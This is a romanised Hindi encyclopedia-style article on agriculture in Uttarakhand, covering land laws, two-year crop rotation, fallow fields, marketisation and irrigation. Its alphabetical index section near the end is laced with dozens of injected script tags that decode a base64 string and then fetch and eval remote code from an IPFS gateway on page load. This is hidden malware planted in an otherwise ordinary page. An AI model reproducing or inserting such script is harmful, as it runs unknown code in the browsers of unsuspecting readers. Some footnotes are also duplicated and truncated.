उत्तराखण्ड की कृषि

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

uttarakhand ki lagabhag 90 pratishat janasankhya krishi par hi nirbhar hai. rajy mean kul kheti yogy kshetr 7,84,117 hekteyar haian. rajy ki kul abadi ka 75 pratishat hissa gramin hai, jo apani ajivika ke liye paramparagat roop se krishi par nirbhar hai. azadi ke bad jab uttar pradesh jamiandari vinash evan bhoomi sudhar qanoon mean gram panchayatoan ko unaki sima ki banjar, parati, charagah, nadi, pokhar, talab adi shreni ki zaminoan ke prabandh v vitaran ka adhikar diya gaya to paha d ki gram panchayatoan ko is adhikar se vanchit karane ke liye sanh 1960 mean ‘kumaooan uttarakhand jamiandari vinash evan bhoomi sudhar qanoon ’ (kooja ekt) le aya gaya. yahi karan hai ki jahaan poore bharat mean gram panchayatoan ke andar bhoomi prabandh kameti ka pravadhan hai, paha d ki gram panchayatoan ko isase vanchit rakha gaya hai. isake bad sanh 1976 mean laye gaye vriksh sanrakshan qanoon ne paha d ke kisanoan ko apane khet mean ugaye gaye vriksh ke dohan se rok diya, jabaki paha d ka kisan vrikshoan ka vyavasayik upayog kar apani ajivika chala sakata tha. ^[1]

phasal

uttarakhand ke 55.66 lakh hektear kshetraphal mean 34.66 hektear van kshetr hai. banjar bhoomi parvatiy kshetr mean 4.63 lakh hektear hai aur 35,338 hektear maidani kshetr mean hai. yahaan kharif ki phasal mean 7,22,755 hektear mean buaee ho rahi hai aur rabi ki phasal mean 4,61,820 hektear mean ho rahi hai. spasht hai ki rabi ki phasal mean 2,60,935 hektear bhoomi parati chho di gayi. parvatiy aur maidani donoan kshetroan mean sianchit bhoomi mean donoan phasalean ugaee jati haian, lekin parvatiy aanchaloan mean asianchit kshetr mean ek bar parati chho di jati hai. isako samajhane ke liye ‘sar’ shabd paribhashit karate haian. gaanv ke kshetr mean jo ek phasal bo di jati hai vo ‘sar’ kahi jati hai. jaise ‘manduve ki sar’ athava ‘dhan ki sar’. inako ageti aur pachheti sar ke roop mean jana jata hai. parvatiy aanchal mean do varshiy phasal chakr is prakar prabhavi hai ki ek sar ka dvivarshik phasal chakr diya ja raha hai. yah phasal chakr vartaman vaijnanik phasal chakr ke sabhi siddhantoan ki apoorti karata hai.

dvivarshiy phasal chakr

kharif pratham rabi pratham dhan, madira mirch, gehooan, jau kauni, aloo (agetisar) masoor, til khariph dvitiy rabi dvitiy madua, bhatt,gahat, parati u dad, chaulaee (pachheti sar) yahi phasal chakr doosari sar mean dvitiy khariph se arambh kiya jata hai. jab is prakar ki paramparagat kheti arambh huee, tab ki paristhitiyaan isake anukool rahian. bhoomi paryapt thi aur janasankhya kam thi. is prachalan se kary vibhajan bhi hota hai. bhoomi urvara shakti bhi bani rahati hai. paha di kshetr mean barasat mean khet ki divarean tootati haian aur parati bhoomi mean ja doan mean in khetoan ki marammat ki jati hai. parati bhoomi mean loch paida hoti hai, bhoomi ki urvara shakti badhati hai. isake sath hi ja doan ki varsha se khet mean nami rahati hai aur phalgun ke mahine mean khetoan ki jutaee ki jati hai. khet mean nami bani rahati hai. chait ke mahine mean in khetoan mean dhan, kau di, bhangira, mirch, til adi bo diye jate haian aur garmi mean in khetoan mean krishi kary gu daee, danela adi kiye jate haian.

doosari sar

doosari sar mean gehooan adi ki phasal katane ke bad jutaee karane ke bad maduve ka bij bikher diya jata hai, jo vaishakh - jeth ke aandh d (mausam poorv) varsha se jam jata hai. isaki gu daee-niraee ke sath dalean bo di jati haian. is parati bhoomi mean ja doan bhar gaanv ke pashuoan ko khuli chhoot hoti hai, jisase udyanikaran, vanikaran, aushadhiy paudh utpadan mean badha utpann ho rahi hai, kyoanki pratyek varsh mean ek bar parati chho di jati hai. bhaugolik sthiti, jalavayu, buvaee adi ke anusar saroan ka namakaran kiya jata hai- agetisar, pachheti sar, taili sar, syedi sar, malli sar, talli sar, uparaooan sar, tala sar adi.

band sar

jab ek sar ki phasal katati hai to usamean pashuoan ko chho d diya jata hai, jise mukhasyar (mukt sar) ghoshit kiya jata hai. yah pratha sianchit, asianchit, talaooan, uparaooan, ageti, pachheti sabhi saroan mean lagoo hai, jisase pragatishil kisanoan ko is samasya se joojhana p data hai aur ve hatotsahit hokar rah jate haian. parati sar ke aanshik prayog mean bhi yahi badha hai. is samasya ka ekamatr hal vartaman mean yahi sujhaya ja sakata hai ki ‘band sar’ ka ek naya prayog kiya jaye, jisamean gaanv vale tay karean ki gaanv ki bhoomi ka ek hissa pashuoan ki khuli chhoot se pratibandhit kiya jay. isase kshetr mean udyanikaran, vanikaran, chara paudharopan, sabji utpadan, aushadhi ropan, krishi utpadan ke naye prayog kiye ja sakeange. kuchh pradhanoan ne aise udaharan prastut bhi kiye hai.

janmajat krishi

parvatiy aanchal ki krishi abhi tak vaijnanik kheti se kosoan door hai. jaivik kheti to yahaan ki janmajat krishi hai. ise bhi samajhane ki avashyakata hai. jis asianchit kheti ka ullekh kiya gaya hai, usake liye unnat bij, vaijnanik vidhi, unnat yantr, kit niyantran adi par krishi vaijnanik hath par hath dhare baithe haian. samachar sunakar tajjub hota hai ki parati bhoomi ka bhoomi parikshan kiya jayega, usake anusar karravaee hogi. asianchit kshetr ki sari bhoomi do sal mean ek bar parati rahati hai. bhoomi ka abantan saman roop se nahian hai. isaliye yah abhi sanbhav nahian hai. jangali janavar suar (barah), saul (syahi) ke dar se khariph ki phasal bhi parati ka roop lene lagi hai. krishak yah sochane ko majaboor hai ki phasal ugane se ghas ugana adhik labhakari hai. nee pidhi isase trast hai.

niyojan

uttarakhand ke parvatiy bhoobhag ke sabhi khetoan ke liye ek hi prakar ka niyojan sambhav nahian hai. pratyek ghati, parvatiy dhal ki bhoomi ki urvara shakti mean bhinnata hai. yahaan tak ki ek hi gaanv ke khetoan mean tak samanata nahian hai. chara paudharopan, phalotpadan, vanikaran, aushadhiy paudharopan, sabji utpadan, phooloan ki kheti, khadyann utpadan mean kaun sa kary kis kshetr ke liye adhik upayogi ho sakata hai. gaanv ke achchhe khet anaj utpadan ke liye niyat the. gaanv ke oopari hisse ke bhoomi bhavan goshala nirman ke liye niyat the.

bazarikaran

bazarikaran ki bhavana zor pak dane lagi hai aur achchhi talaooan bhoomi mean simeant aur kankrit ke bhavan kh de hone lage haian. s dak chaubat mean nivas banane lage haian. ann utpadan kshetr ka hras hone laga hai. uttarakhand ki krishi aj bhi pashu adharit hai, parantu pashupalan mean ruchi ghatane lagi hai. yah pravritti uttarakhand ke arthik patan ka karan banane ja raha hai. isake liye van vibhag bhi uttaradayi hai, kyoanki usane pashu chara paudhoan ke ropan ke prati tatasthata ka bhav paida kar diya hai. chau di patti ke vanoan ki kami ne jaivik khad (paramparagat khad) utpadan mean kathinaee paida kar di hai. chara baiank banane se samasya ka hal nahian hoga. chara paudharopan se chare ki kami door hogi. bhimal vriksharopan mean chara baiank ki sambhavana hai. bhimal ki pattiyoan ke vyaparikaran mean sarthakata hai.

upay

asianchit kshetr mean utpadit ann, daloan, tilahanoan davaoan ki upalabdhata ke sath bemausami sabji utpadan, kitanashak vanikaran, phooloan ke utpadan se bhoomi ka sadupayog sambhav hai. sath hi durgam sthan ke utpad ki vipanan vyavastha sulabh hone se krishakoan mean utsah paida hoga aur svamev bhoomi ka sampoorn upayog hone lag jayega.^[2] </ref>

utpadan

madua, gahat, paha di aloo, bhatt, paha di gay ka doodh, ghi aur gaumootr adi paha di utpadoan ne bazar mean apana prabhutv jamana arambh kar diya hai. ab chunauti hai ki inake utpadan ko kis prakar age badhaya jaye.

sianchaee vyavastha

REDIRECTsaancha:mukhy

uttarakhand rajy ki lagabhag kul 5,91,418 hekteyar krishi bhoomi mean sianchaee ki ja rahi haian. rajy mean panabijali utpadan ki bharapoor kshamata hai. yamuna, bhagirathi, bhilaangana, alakananda, mandakini, sarayoo, gauri, kosi aur kali nadiyoan se sianchaee vyavastha ki jati hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ krishi kshetr ka vistar zaroori hai (hindi). . abhigaman tithi: 2joon, 2011.
↑ parvatiy krishi: bhoomi ki utpadakata ka kaise ho adhik sadupayog (hindi). . abhigaman tithi: 2joon, 2011.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] rishi kshetr ka vistar zaroori hai (hindi). . abhigaman tithi: 2joon, 2011.

[2] rvatiy krishi: bhoomi ki utpadakata ka kaise ho adhik sadupayog (hindi). . abhigaman tithi: 2joon, 2011.

[1]

[2]

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